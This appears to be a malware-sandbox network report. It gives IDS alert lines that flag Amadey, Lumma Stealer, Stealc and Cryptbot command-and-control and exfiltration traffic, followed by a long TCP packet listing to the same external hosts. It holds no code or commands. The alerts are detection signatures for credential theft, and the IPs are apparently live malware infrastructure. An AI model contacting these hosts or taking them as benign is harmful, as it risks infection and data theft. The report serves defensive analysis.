2024-11-23T01:14:28.245751+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-23T01:14:29.568808+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-23T01:14:30.781475+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-23T01:14:34.396789+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-23T01:14:35.488419+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-23T01:14:40.910753+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49886	185.215.113.16	80	TCP
2024-11-23T01:15:06.571966+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49971	185.215.113.43	80	TCP
2024-11-23T01:15:11.018246+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49983	31.41.244.11	80	TCP
2024-11-23T01:15:20.511720+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49977	TCP
2024-11-23T01:15:21.901517+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50006	185.215.113.43	80	TCP
2024-11-23T01:15:23.414937+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50013	31.41.244.11	80	TCP
2024-11-23T01:15:23.414937+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50013	31.41.244.11	80	TCP
2024-11-23T01:15:30.842593+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50030	185.215.113.43	80	TCP
2024-11-23T01:15:31.084705+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50036	104.21.33.116	443	TCP
2024-11-23T01:15:31.847357+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50036	104.21.33.116	443	TCP
2024-11-23T01:15:31.847357+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50036	104.21.33.116	443	TCP
2024-11-23T01:15:32.334671+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50039	185.215.113.16	80	TCP
2024-11-23T01:15:33.275891+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50045	104.21.33.116	443	TCP
2024-11-23T01:15:34.026862+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50045	104.21.33.116	443	TCP
2024-11-23T01:15:34.026862+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50045	104.21.33.116	443	TCP
2024-11-23T01:15:35.856324+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50051	104.21.33.116	443	TCP
2024-11-23T01:15:36.788912+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	50051	104.21.33.116	443	TCP
2024-11-23T01:15:38.625080+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50057	104.21.33.116	443	TCP
2024-11-23T01:15:38.780855+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50058	104.21.33.116	443	TCP
2024-11-23T01:15:39.414748+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50059	185.215.113.43	80	TCP
2024-11-23T01:15:39.496439+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50058	104.21.33.116	443	TCP
2024-11-23T01:15:39.496439+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50058	104.21.33.116	443	TCP
2024-11-23T01:15:41.043771+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50066	104.21.33.116	443	TCP
2024-11-23T01:15:41.202581+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50065	185.215.113.16	80	TCP
2024-11-23T01:15:41.243631+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50067	104.21.33.116	443	TCP
2024-11-23T01:15:41.793588+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50066	104.21.33.116	443	TCP
2024-11-23T01:15:41.793588+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50066	104.21.33.116	443	TCP
2024-11-23T01:15:44.276208+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50076	104.21.33.116	443	TCP
2024-11-23T01:15:44.418230+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50077	104.21.33.116	443	TCP
2024-11-23T01:15:47.087634+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50091	104.21.33.116	443	TCP
2024-11-23T01:15:47.091791+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	50091	104.21.33.116	443	TCP
2024-11-23T01:15:47.137304+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50092	104.21.33.116	443	TCP
2024-11-23T01:15:48.231423+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50093	185.215.113.43	80	TCP
2024-11-23T01:15:49.685236+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50103	104.21.33.116	443	TCP
2024-11-23T01:15:49.775723+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50100	185.215.113.16	80	TCP
2024-11-23T01:15:49.814657+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50094	185.215.113.206	80	TCP
2024-11-23T01:15:49.817033+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50101	104.21.33.116	443	TCP
2024-11-23T01:15:50.084911+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50102	34.116.198.130	80	TCP
2024-11-23T01:15:51.690308+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50109	104.21.33.116	443	TCP
2024-11-23T01:15:51.764816+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50110	34.116.198.130	80	TCP
2024-11-23T01:15:52.738998+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50109	104.21.33.116	443	TCP
2024-11-23T01:15:52.738998+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50109	104.21.33.116	443	TCP
2024-11-23T01:15:53.814800+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50116	104.21.33.116	443	TCP
2024-11-23T01:15:54.140517+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50117	104.21.33.116	443	TCP
2024-11-23T01:15:54.854139+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50117	104.21.33.116	443	TCP
2024-11-23T01:15:54.854139+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50117	104.21.33.116	443	TCP
2024-11-23T01:15:55.614086+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50118	185.215.113.43	80	TCP
2024-11-23T01:15:56.608341+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50124	104.21.33.116	443	TCP
2024-11-23T01:15:56.613769+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	50124	104.21.33.116	443	TCP
2024-11-23T01:15:57.031378+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50126	104.21.33.116	443	TCP
2024-11-23T01:15:57.171223+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50125	185.215.113.16	80	TCP
2024-11-23T01:16:01.229016+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50143	104.21.33.116	443	TCP
2024-11-23T01:16:02.681178+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50163	104.21.33.116	443	TCP
2024-11-23T01:16:19.782240+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50203	104.21.33.116	443	TCP
2024-11-23T01:16:20.516493+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50203	104.21.33.116	443	TCP
2024-11-23T01:16:20.516493+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50203	104.21.33.116	443	TCP
2024-11-23T01:16:22.574009+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50208	34.116.198.130	80	TCP
2024-11-23T01:16:29.440039+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50209	104.21.33.116	443	TCP
2024-11-23T01:16:30.314947+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50209	104.21.33.116	443	TCP
2024-11-23T01:16:30.314947+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50209	104.21.33.116	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 01:13:50.593657970 CET	49675	443	192.168.2.5	23.1.237.91
Nov 23, 2024 01:13:50.593756914 CET	49674	443	192.168.2.5	23.1.237.91
Nov 23, 2024 01:13:50.718575001 CET	49673	443	192.168.2.5	23.1.237.91
Nov 23, 2024 01:13:58.839684010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:13:58.959242105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:13:58.959352016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:13:58.959610939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:13:59.079031944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:00.202737093 CET	49675	443	192.168.2.5	23.1.237.91
Nov 23, 2024 01:14:00.203716040 CET	49674	443	192.168.2.5	23.1.237.91
Nov 23, 2024 01:14:00.327745914 CET	49673	443	192.168.2.5	23.1.237.91
Nov 23, 2024 01:14:00.338355064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:00.338433981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:00.456738949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:00.576369047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:00.923540115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:00.923664093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:00.924865961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:01.044305086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:01.398694038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:01.398709059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:01.398761988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:01.599668980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:01.599752903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:01.601567030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:01.721014023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:02.049657106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:02.049674034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:02.049685955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:02.049741983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:02.049798965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:02.049850941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:02.049863100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:02.049896955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:02.057843924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:02.057954073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:02.058012962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:02.058048010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:02.059660912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:02.179152966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:02.508119106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:02.508378029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:02.526622057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:02.526719093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:02.646342039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:02.646357059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:02.646365881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:02.646370888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:02.646393061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:02.646425009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:02.646440983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:02.646493912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:02.774375916 CET	443	49703	23.1.237.91	192.168.2.5
Nov 23, 2024 01:14:02.774477959 CET	49703	443	192.168.2.5	23.1.237.91
Nov 23, 2024 01:14:03.617248058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:03.617333889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:03.880300045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:03.999934912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.326468945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.326550007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.326610088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.326656103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.330552101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.330610991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.330660105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.330712080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.338968992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.339032888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.339050055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.339112997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.347306967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.347378969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.347419977 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.347470999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.355701923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.355762959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.355782986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.355829954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.364128113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.364144087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.364183903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.364243984 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.451334000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.451431036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.451451063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.451489925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.455615044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.455691099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.455964088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.456013918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.463920116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.463989019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.464008093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.464061022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.472306967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.472383022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.472405910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.472451925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.480704069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.480771065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.527524948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.527617931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.527637959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.527688026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.531693935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.531759977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.531879902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.531934977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.540066957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.540133953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.540195942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.540246964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.548526049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.548593998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.548604965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.548646927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.556816101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.556885958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.556930065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.556981087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.565210104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.565284967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.565330029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.565376043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.573532104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.573601007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.573616028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.573658943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.578157902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.578222036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.578269958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.578324080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.585997105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.586081028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.586236000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.586287022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.592816114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.592881918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.592930079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.592978001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.600095034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.600162983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.600167990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.600212097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.606775045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.606841087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.652436018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.652569056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.652616024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.652658939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.655545950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.655605078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.655637980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.655682087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.660315990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.660392046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.660438061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.660491943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.666551113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.666636944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.666774035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.666826010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.672792912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.672863007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.672866106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.672913074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.678951979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.679008007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.679141045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.679193974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.685122967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.685174942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.685237885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.685290098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.691358089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.691416025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.691467047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.691513062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.697628975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.697643042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.697688103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.703706980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.703758955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.728636980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.728729010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.728756905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.728802919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.730532885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.730587006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.730647087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.730704069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.734407902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.734472036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.734606028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.738181114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.738245010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.738286972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.738343954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.741996050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.742063999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.742105961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.742157936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.745831966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.745898962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.745934010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.745984077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.749614954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.749667883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.749718904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.749764919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.753422976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.753484011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.753537893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.753588915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.757318974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.757384062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.757405043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.757452011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.761044979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.761111975 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.761161089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.761209965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:04.764853954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:04.764903069 CET	49704	80	192.168.2.5	185.215.113.206
